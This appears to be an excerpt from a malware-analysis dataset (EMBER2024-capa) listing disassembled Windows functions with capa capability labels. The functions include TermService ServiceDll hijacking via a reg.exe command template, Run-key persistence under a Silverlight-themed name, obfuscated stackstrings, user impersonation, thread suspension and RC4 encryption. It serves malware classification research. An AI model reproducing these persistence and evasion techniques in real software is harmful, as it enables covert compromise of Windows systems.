joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407e2f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x430c50]
jne 0x407e39
repz ret
jmp fcn.0040c56d

Function at 0x40b2c0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406060
and dword [ebp - 4], 0
cmp dword [0x435800], 0
mov ebx, eax
jne 0x40b371
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b422
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40b422
push eax
call fcn.00405fee
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x435800], eax
call esi
push eax
call fcn.00405fee
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x435804], eax
call esi
push eax
call fcn.00405fee
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x435808], eax
call esi
push eax
call fcn.00405fee
pop ecx
mov dword [0x435810], eax
test eax, eax
je 0x40b371
push 0x42cf10
push edi
call esi
push eax
call fcn.00405fee
pop ecx
mov dword [0x43580c], eax
mov eax, dword [0x43580c]
cmp eax, ebx
je 0x40b3c9
cmp dword [0x435810], ebx
je 0x40b3c9
push eax
call fcn.00406069
push dword [0x435810]
mov esi, eax
call fcn.00406069
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b3c9
test edi, edi
je 0x40b3c9
call esi
test eax, eax
je 0x40b3c0
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b3c0
test byte [ebp - 0xc], 1
jne 0x40b3c9
or dword [ebp + 0x10], 0x200000
jmp 0x40b402
mov eax, dword [0x435804]
cmp eax, ebx
je 0x40b402
push eax
call fcn.00406069
pop ecx
test eax, eax
je 0x40b402
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b402
mov eax, dword [0x435808]
cmp eax, ebx
je 0x40b402
push eax
call fcn.00406069
pop ecx
test eax, eax
je 0x40b402
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x435800]
call fcn.00406069
pop ecx
test eax, eax
je 0x40b422
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b424
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebp
mov ebp, dword [esp + 0x2c]
push edi
xor edi, edi
cmp ebp, 0xffffffff
je 0x1000101d
cmp dword [0x10012454], 6
jb 0x10001028
test ebp, ebp
jne 0x10001028
push ebp
call fcn.100040a0
add esp, 4
mov ebp, eax
cmp ebp, 0xffffffff
je 0x100010e9
push ebx
push esi
push ebp
call fcn.100031d0
mov ebx, dword [esp + 0x38]
mov esi, eax
add esp, 4
test esi, esi
je 0x10001060
push ebx
push esi
call fcn.1000a550
add esp, 8
push esi
mov edi, eax
call sub.NTDLL.dll_NtClose
test edi, edi
jne 0x100010f1
push ebp
call fcn.100079d0
mov esi, eax
add esp, 4
test esi, esi
je 0x10001085
push ebx
push esi
call fcn.1000a550
add esp, 8
push esi
mov edi, eax
call sub.NTDLL.dll_NtClose
test edi, edi
jne 0x100010f1
test ebx, ebx
je 0x100010f1
lea ecx, [esp + 0x10]
push ecx
push 0
push 0
push 0
push 0
push 1
push ebx
mov dword [esp + 0x2c], 0x690057
mov dword [esp + 0x30], 0x53006e
mov dword [esp + 0x34], 0x610074
mov dword [esp + 0x38], 0x5c0030
mov dword [esp + 0x3c], 0x650044
mov dword [esp + 0x40], 0x610066
mov dword [esp + 0x44], 0x6c0075
mov dword [esp + 0x48], 0x74
call fcn.10002060
add esp, 0x1c
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x20
ret
mov eax, edi
pop edi
pop ebp
add esp, 0x20
ret
pop esi
pop ebx
mov eax, edi
pop edi
pop ebp
add esp, 0x20
ret

Function at 0x10001100
Capabilities:
Impersonate user

Disassembly:
push ecx
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
push esi
push edi
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0x14]
xor edi, edi
push edi
push 2
push ecx
push edx
push eax
mov dword [esp + 0x20], edi
call dword [sym.imp.ADVAPI32.dll_LogonUserW]
mov esi, eax
test esi, esi
jne 0x10001139
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x52f
jne 0x1000114c
mov edi, 1
test esi, esi
je 0x1000114c
mov ecx, dword [esp + 8]
push ecx
call sub.NTDLL.dll_NtClose
mov eax, edi
pop edi
pop esi
pop ecx
ret
Function at 0x10002060
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Set environment variable
Terminate process

Disassembly:
sub esp, 0x90
push esi
push edi
push 0x44
lea eax, [esp + 0x58]
push eax
call sub.NTDLL.dll_RtlZeroMemory
push 0x10
lea ecx, [esp + 0x48]
push ecx
call sub.NTDLL.dll_RtlZeroMemory
mov esi, dword [esp + 0xa0]
mov dword [esp + 0x54], 0x44
test esi, esi
jne 0x1000209e
mov dword [esp + 0x80], 1
mov eax, dword [esp + 0xb4]
test eax, eax
je 0x100020ad
mov dword [esp + 0x5c], eax
mov edi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
xor ecx, ecx
xor edx, edx
mov dword [esp + 8], 0x5f005f
mov dword [esp + 0xc], 0x6f0063
mov dword [esp + 0x10], 0x70006d
mov dword [esp + 0x14], 0x740061
mov dword [esp + 0x18], 0x6c005f
mov dword [esp + 0x1c], 0x790061
mov dword [esp + 0x20], 0x720065
mov word [esp + 0x24], cx
mov dword [esp + 0x28], 0x750052
mov dword [esp + 0x2c], 0x41006e
mov dword [esp + 0x30], 0x490073
mov dword [esp + 0x34], 0x76006e
mov dword [esp + 0x38], 0x6b006f
mov dword [esp + 0x3c], 0x720065
mov word [esp + 0x40], dx
cmp dword [0x10012378], ecx
jne 0x1000213d
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0xc]
push ecx
call edi
mov eax, dword [0x10012394]
lea edx, [esp + 0x44]
push edx
test eax, eax
je 0x10002179
mov edx, dword [esp + 0xb4]
lea ecx, [esp + 0x58]
push ecx
mov ecx, dword [esp + 0xa4]
push edx
push 0
neg esi
sbb esi, esi
and esi, 0x8000000
push esi
push 0
push 0
push 0
push ecx
push 0
call eax
jmp 0x100021a9
mov ecx, dword [esp + 0xb4]
mov edx, dword [esp + 0xa0]
lea eax, [esp + 0x58]
push eax
push ecx
push 0
neg esi
sbb esi, esi
and esi, 0x8000000
push esi
push 0
push 0
push 0
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp dword [0x10012378], 0
mov esi, eax
jne 0x100021bd
push 0
lea eax, [esp + 0xc]
push eax
call edi
pop edi
test esi, esi
pop esi
je 0x1000223d
mov eax, dword [esp + 0x9c]
test eax, eax
je 0x1000221d
cmp eax, 0xffffffff
je 0x100021db
imul eax, eax, 0x3e8
jmp 0x100021de
or eax, 0xffffffff
mov ecx, dword [esp + 0x3c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x10002207
mov eax, dword [esp + 0xa0]
test eax, eax
je 0x1000221d
mov edx, dword [esp + 0x3c]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
jmp 0x1000221d
cmp dword [esp + 0xa4], 0
je 0x1000221d
mov eax, dword [esp + 0x3c]
push 0
push eax
call sub.NTDLL.dll_NtTerminateProcess
mov ecx, dword [esp + 0x40]
push ecx
call sub.NTDLL.dll_NtClose
mov edx, dword [esp + 0x3c]
push edx
call sub.NTDLL.dll_NtClose
mov eax, 1
add esp, 0x90
ret
xor eax, eax
add esp, 0x90
ret
Function at 0x10002270
Capabilities:
Create process on windows
Get common file path
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x58
mov ecx, dword [0x1001234c]
push ebp
xor ebp, ebp
push ebp
neg ecx
sbb ecx, ecx
lea eax, [esp + 8]
push eax
push ebp
and ecx, 0x100
add ecx, 0x20006
push ecx
push ebp
push ebp
push ebp
push str.SYSTEMCurrentControlSetServicesTermServiceParameters
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x28], ebp
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x100023f5
push edi
mov edi, dword [esp + 0x64]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edx, [eax + eax + 2]
mov eax, dword [esp + 8]
push edx
push edi
push 2
push ebp
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x100023e9
lea ebp, [eax + 1]
cmp dword [0x1001234c], eax
je 0x100023e9
mov eax, dword [0x100125c0]
cmp dword [eax + 4], 6
jne 0x100023e9
cmp dword [eax + 8], 0
jne 0x100023e9
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0x1000
push 8
call ebx
push eax
call fcn.100052e0
mov esi, eax
test esi, esi
je 0x100023e7
push 0x800
lea edx, [esi + 2]
mov ecx, 0x22
push edx
mov word [esi], cx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x100023dc
inc eax
cmp word [esi + eax*2 - 2], 0x5c
je 0x1000235b
mov ecx, 0x5c
mov word [esi + eax*2], cx
inc eax
push edi
lea edx, [esi + eax*2]
push str.reg.exe__add_HKLMSYSTEMCurrentControlSetServicesTermServiceParameters__v_ServiceDll__t_REG_EXPAND_SZ__d___s___f
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x44
lea eax, [esp + 0x28]
push eax
call sub.NTDLL.dll_RtlZeroMemory
push 0x10
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x2c], 0x44
mov dword [esp + 0x58], ebp
call sub.NTDLL.dll_RtlZeroMemory
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x28]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x100023dc
mov ecx, dword [esp + 0x14]
push 0x7530
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0x18]
push edx
call sub.NTDLL.dll_NtClose
mov eax, dword [esp + 0x14]
push eax
call sub.NTDLL.dll_NtClose
push esi
push 0
call ebx
push eax
call fcn.100088d0
pop esi
pop ebx
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, ebp
pop ebp
add esp, 0x58
ret
Function at 0x100036c0
Capabilities:
Delete file
Enumerate files on windows
Move file

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x660
push ebx
mov ebx, dword [esp + 0x668]
push ebp
mov ebp, dword [sym.imp.USER32.dll_wsprintfW]
push esi
push edi
push eax
push 0x2a
push ebx
lea ecx, [esp + 0x26c]
push str._s_c_s
push ecx
xor esi, esi
call ebp
add esp, 0x14
push 0x250
lea edx, [esp + 0x14]
push edx
call sub.NTDLL.dll_RtlZeroMemory
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x264]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10003730
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x660
ret
mov eax, dword [esp + 0x10]
test al, 0x10
jne 0x1000377c
test eax, eax
je 0x1000377c
lea edx, [esp + 0x3c]
push edx
push ebx
lea eax, [esp + 0x268]
push 0x1000e428
push eax
call ebp
add esp, 0x10
lea ecx, [esp + 0x260]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x10003777
push 4
push eax
lea edx, [esp + 0x268]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov esi, 1
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x10003730
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x660
ret
Function at 0x100039c0
Capabilities:
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x228
push ebx
xor ebx, ebx
push edi
mov dword [esp + 0x14], 0x750052
mov dword [esp + 0x18], 0x6e
cmp dword [0x100120cc], ebx
je 0x100039ee
mov eax, dword [0x10012104]
mov ecx, 0x1000e73c
jmp 0x100039f5
mov ecx, 0x1000e604
mov eax, ecx
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
lea edx, [esp + 0x14]
push edx
push str.SoftwareMicrosoftWindowsCurrentVersion
push ecx
push eax
lea eax, [esp + 0x34]
push str._s_s_s_s
push eax
call edi
add esp, 0x18
push ebx
lea ecx, [esp + 0xc]
push ecx
push ebx
xor eax, eax
cmp dword [0x100120cc], ebx
push 0xf023f
push ebx
setne al
push ebx
push ebx
lea edx, [esp + 0x40]
push edx
mov dword [esp + 0x28], ebx
lea eax, [eax + eax - 0x7fffffff]
push eax
call dword [0x10012108]
test eax, eax
jne 0x10003b7b
cmp dword [esp + 0x234], ebx
je 0x10003a7e
mov ecx, dword [0x10012090]
mov edx, dword [esp + 8]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop ebx
add esp, 0x228
ret
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0x20a
push 8
mov dword [esp + 0x2c], ebx
call ebp
push eax
call fcn.100052e0
mov esi, eax
cmp esi, ebx
je 0x10003b6e
mov eax, dword [0x100123b8]
push str.Silverlight.Configuration.exe
push eax
push str.__s_s_
push esi
call edi
add esp, 0x10
lea ecx, [esp + 0x14]
push ecx
push ebx
lea edx, [esp + 0x20]
push edx
push ebx
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x20]
push str.Silverlight.Configuration.exe
mov dword [esp + 0x28], ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push eax
mov dword [esp + 0x30], 1
call ebx
test eax, eax
jne 0x10003b45
mov ecx, dword [esp + 0x14]
lea edx, [ecx + ecx + 2]
push edx
push 8
call ebp
push eax
call fcn.100052e0
mov edi, eax
test edi, edi
je 0x10003b45
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
push edi
lea ecx, [esp + 0x20]
push ecx
push 0
push str.Silverlight.Configuration.exe
push edx
call ebx
test eax, eax
jne 0x10003b32
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov ebx, 1
test eax, eax
je 0x10003b36
mov ebx, dword [esp + 0x24]
push edi
push 0
call ebp
push eax
call fcn.100088d0
test ebx, ebx
jne 0x10003b63
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x10]
lea ecx, [eax + eax + 2]
push ecx
push esi
push 1
push 0
push str.Silverlight.Configuration.exe
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push esi
push 0
call ebp
push eax
call fcn.100088d0
mov eax, dword [esp + 0x10]
pop esi
pop ebp
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop ebx
add esp, 0x228
ret
Function at 0x10003bb0
Capabilities:
Suspend thread

Disassembly:
push esi
mov esi, eax
push edi
xor edi, edi
mov dword [esi], edi
mov dword [esi + 4], edi
mov dword [esi + 8], edi
call fcn.10005840
test eax, eax
jne 0x10003bcd
lea eax, [edi + 9]
pop edi
pop esi
ret
cmp dword [esi], edi
je 0x10003c27
push ebx
xor ebx, ebx
cmp dword [esi + 8], ebx
jbe 0x10003c21
lea esp, [esp]
mov eax, dword [esi]
mov ecx, dword [eax + ebx*4]
push ecx
push 0
push 0x5a
call fcn.1000d560
mov edi, eax
test edi, edi
je 0x10003c15
push 0
push edi
call sub.NTDLL.dll_NtSuspendThread
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
push edx
push edi
call fcn.10006140
add esp, 8
push edi
call sub.NTDLL.dll_NtClose
inc ebx
cmp ebx, dword [esi + 8]
jb 0x10003be0
pop ebx
pop edi
xor eax, eax
pop esi
ret
pop ebx
mov eax, edi
pop edi
pop esi
ret
mov eax, edi
pop edi
pop esi
ret

Function at 0x10003c30
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x100
xor eax, eax
jmp 0x10003c40
mov byte [esp + eax], al
inc eax
cmp eax, 0x100
jl 0x10003c40
push ebx
push ebp
mov ebp, dword [esp + 0x10c]
push esi
push edi
mov edi, dword [esp + 0x118]
xor esi, esi
xor ecx, ecx
mov eax, ecx
cdq
idiv edi
movzx ebx, byte [esp + ecx + 0x10]
movzx eax, word [ebp + edx*2]
add eax, ebx
add esi, eax
and esi, 0x800000ff
jns 0x10003c84
dec esi
or esi, 0xffffff00
inc esi
mov dl, byte [esp + esi + 0x10]
mov byte [esp + ecx + 0x10], dl
inc ecx
mov byte [esp + esi + 0x10], bl
cmp ecx, 0x100
jl 0x10003c61
mov edx, dword [esp + 0x120]
xor esi, esi
xor edi, edi
xor eax, eax
test edx, edx
jle 0x10003d08
mov ebp, dword [esp + 0x11c]
inc esi
and esi, 0x800000ff
jns 0x10003cc2
dec esi
or esi, 0xffffff00
inc esi
movzx ecx, byte [esp + esi + 0x10]
add edi, ecx
and edi, 0x800000ff
jns 0x10003cd9
dec edi
or edi, 0xffffff00
inc edi
mov bl, byte [esp + edi + 0x10]
mov byte [esp + esi + 0x10], bl
mov byte [esp + edi + 0x10], cl
movzx ebx, byte [esp + esi + 0x10]
add ebx, ecx
and ebx, 0x800000ff
jns 0x10003cfc
dec ebx
or ebx, 0xffffff00
inc ebx
mov cl, byte [esp + ebx + 0x10]
xor byte [eax + ebp], cl
inc eax
cmp eax, edx
jl 0x10003cb1
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x100
ret
Function at 0x10003d20
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x100
xor eax, eax
jmp 0x10003d30
mov byte [esp + eax], al
inc eax
cmp eax, 0x100
jl 0x10003d30
push ebx
push ebp
mov ebp, dword [esp + 0x10c]
push esi
push edi
mov edi, dword [esp + 0x118]
xor esi, esi
xor ecx, ecx
mov eax, ecx
cdq
idiv edi
movzx ebx, byte [esp + ecx + 0x10]
movzx eax, byte [edx + ebp]
add eax, ebx
add esi, eax
and esi, 0x800000ff
jns 0x10003d73
dec esi
or esi, 0xffffff00
inc esi
mov dl, byte [esp + esi + 0x10]
mov byte [esp + ecx + 0x10], dl
inc ecx
mov byte [esp + esi + 0x10], bl
cmp ecx, 0x100
jl 0x10003d51
mov edx, dword [esp + 0x120]
xor esi, esi
xor edi, edi
xor eax, eax
test edx, edx
jle 0x10003df7
mov ebp, dword [esp + 0x11c]
inc esi
and esi, 0x800000ff
jns 0x10003db1
dec esi
or esi, 0xffffff00
inc esi
movzx ecx, byte [esp + esi + 0x10]
add edi, ecx
and edi, 0x800000ff
jns 0x10003dc8
dec edi
or edi, 0xffffff00
inc edi
mov bl, byte [esp + edi + 0x10]
mov byte [esp + esi + 0x10], bl
mov byte [esp + edi + 0x10], cl
movzx ebx, byte [esp + esi + 0x10]
add ebx, ecx
and ebx, 0x800000ff
jns 0x10003deb
dec ebx
or ebx, 0xffffff00
inc ebx
mov cl, byte [esp + ebx + 0x10]
xor byte [eax + ebp], cl
inc eax
cmp eax, edx
jl 0x10003da0
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x100
ret

Function at 0x10003fb0
Capabilities:
Get token membership

Disassembly:
sub esp, 0x58
push edi
lea eax, [esp + 8]
push eax
xor edi, edi
push 0xa
mov dword [esp + 0x18], edi
mov dword [esp + 0x10], edi
call fcn.10006130
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000408d
cmp dword [0x10012454], 5
mov dword [esp + 4], edi
mov dword [esp + 0xc], edi
jbe 0x1000402d
mov eax, dword [esp + 8]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea ecx, [esp + 0x10]
push ecx
push 4
lea edx, [esp + 0x20]
push edx
push 0x12
push eax
call esi
test eax, eax
je 0x10004026
cmp dword [esp + 0x18], 3
jne 0x10004026
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push ecx
push 4
lea edx, [esp + 0x10]
push edx
push 0x13
push eax
call esi
pop esi
cmp dword [esp + 4], edi
jne 0x10004045
mov edx, dword [esp + 8]
lea ecx, [esp + 4]
push ecx
push 1
push edx
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
cmp dword [esp + 4], edi
je 0x10004083
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x1c]
push ecx
push edi
push 0x1a
mov dword [esp + 0x1c], 0x44
call dword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
test eax, eax
je 0x10004079
mov ecx, dword [esp + 4]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov edx, dword [esp + 4]
push edx
call sub.NTDLL.dll_NtClose
mov eax, dword [esp + 8]
push eax
call sub.NTDLL.dll_NtClose
mov eax, dword [esp + 0x10]
pop edi
add esp, 0x58
ret
Function at 0x100040a0
Capabilities:
Get session information

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
push edi
or edi, 0xffffffff
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
cmp esi, 0xffffffff
jne 0x10004110
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x14]
push ecx
push 1
push 0
push 0
call sub.WTSAPI32.dll_WTSEnumerateSessionsW
test eax, eax
je 0x10004138
mov edx, dword [esp + 8]
mov esi, dword [esp + 0x10]
xor eax, eax
mov ecx, esi
test edx, edx
jle 0x10004104
cmp dword [ecx + 8], 0
je 0x10004102
inc eax
add ecx, 0xc
cmp eax, edx
jl 0x100040e8
push esi
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, edi
pop edi
pop esi
pop ecx
ret
mov edi, dword [ecx]
push esi
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, edi
pop edi
pop esi
pop ecx
ret
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x14]
push eax
push 8
push esi
push 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
je 0x10004138
mov eax, dword [esp + 0x10]
cmp dword [eax], 0
push eax
cmove edi, esi
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, edi
pop edi
pop esi
pop ecx
ret

Function at 0x10004140
Capabilities:
Modify service
Query service status
Start service

Disassembly:
sub esp, 0x1c
push edi
mov edi, dword [esp + 0x24]
test edi, edi
je 0x100041ff
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
lea eax, [esp + 0x28]
push eax
push 0
push 0
push edi
mov dword [esp + 0x38], 0
call ebp
test eax, eax
je 0x100041cc
mov eax, dword [esp + 0x28]
push ebx
push esi
push eax
push 8
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.100052e0
mov esi, eax
test esi, esi
je 0x100041ca
lea ecx, [esp + 0x30]
push ecx
push ebx
push esi
push edi
call ebp
test eax, eax
je 0x100041bb
cmp dword [esi + 4], 2
je 0x100041bb
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.100088d0
pop esi
pop ebx
lea edx, [esp + 8]
push edx
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0xc], 4
pop ebp
jne 0x100041e4
test eax, eax
jne 0x100041f5
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
push eax
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
mov eax, 1
pop edi
add esp, 0x1c
ret
xor eax, eax
pop edi
add esp, 0x1c
ret

Function at 0x100043f0
Capabilities:
Resolve dns

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
mov esi, eax
cmp esi, 0xffffffff
je 0x10004414
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1000440f
mov dword [eax + 4], esi
mov eax, esi
pop edi
pop esi
ret
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x1000440f
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x10004411
pop edi
mov dword [ecx + 4], eax
pop esi
ret
Function at 0x10004b40
Capabilities:
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x21c
push esi
mov esi, dword [esp + 0x224]
test esi, esi
jne 0x10004b6b
mov eax, dword [0x100120f8]
push str.URLN
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
pop esi
add esp, 0x21c
ret
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
lea ecx, [esp + 0x14]
push ecx
mov ecx, dword [0x100120f8]
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x18]
push eax
push 0
push str.URLN
push ecx
mov dword [esp + 0x2c], 0x20a
mov dword [esp + 0x28], 1
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x10004bbc
push esi
lea edx, [esp + 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x10004bdb
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [0x100120f8]
lea eax, [eax + eax + 2]
push eax
push esi
push 1
push 0
push str.URLN
push ecx
call edi
mov al, byte [esp + 0x230]
test al, al
je 0x10004bfd
cmp al, 0xfe
jbe 0x10004bf4
mov dword [esp + 0xc], 0xfe
jmp 0x10004c05
movzx edx, al
mov dword [esp + 0xc], edx
jmp 0x10004c05
mov dword [esp + 0xc], 0xc
lea eax, [esp + 0x14]
push eax
mov eax, dword [0x100120f8]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x18]
push edx
push 0
push str.Next
mov esi, 4
push eax
mov dword [esp + 0x30], 0
mov dword [esp + 0x2c], esi
mov dword [esp + 0x28], esi
call ebx
test eax, eax
jne 0x10004c46
mov ecx, dword [esp + 0x18]
cmp ecx, dword [esp + 0xc]
je 0x10004c5c
mov eax, dword [0x100120f8]
push esi
lea edx, [esp + 0x10]
push edx
push esi
push 0
push str.Next
push eax
call edi
pop edi
pop ebx
pop esi
add esp, 0x21c
ret

Function at 0x10005100
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x10005126
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
push eax
push ecx
push esi
call fcn.1000d5d0
add esp, 0xc
pop esi
ret
xor eax, eax
pop esi
ret

Function at 0x10005300
Capabilities:
Resume thread

Disassembly:
push ebx
mov ebx, dword [esp + 8]
cmp dword [ebx], 0
je 0x1000534e
push edi
xor edi, edi
cmp dword [ebx + 8], edi
jbe 0x1000533d
push esi
mov eax, dword [ebx]
mov ecx, dword [eax + edi*4]
push ecx
push 0
push 0x5a
call fcn.1000d560
mov esi, eax
test esi, esi
je 0x10005336
push 0
push esi
call sub.NTDLL.dll_NtResumeThread
push esi
call sub.NTDLL.dll_NtClose
inc edi
cmp edi, dword [ebx + 8]
jb 0x10005313
pop esi
mov edx, dword [ebx]
mov eax, dword [0x100120e4]
push edx
push 0
push eax
call fcn.100088d0
pop edi
pop ebx
ret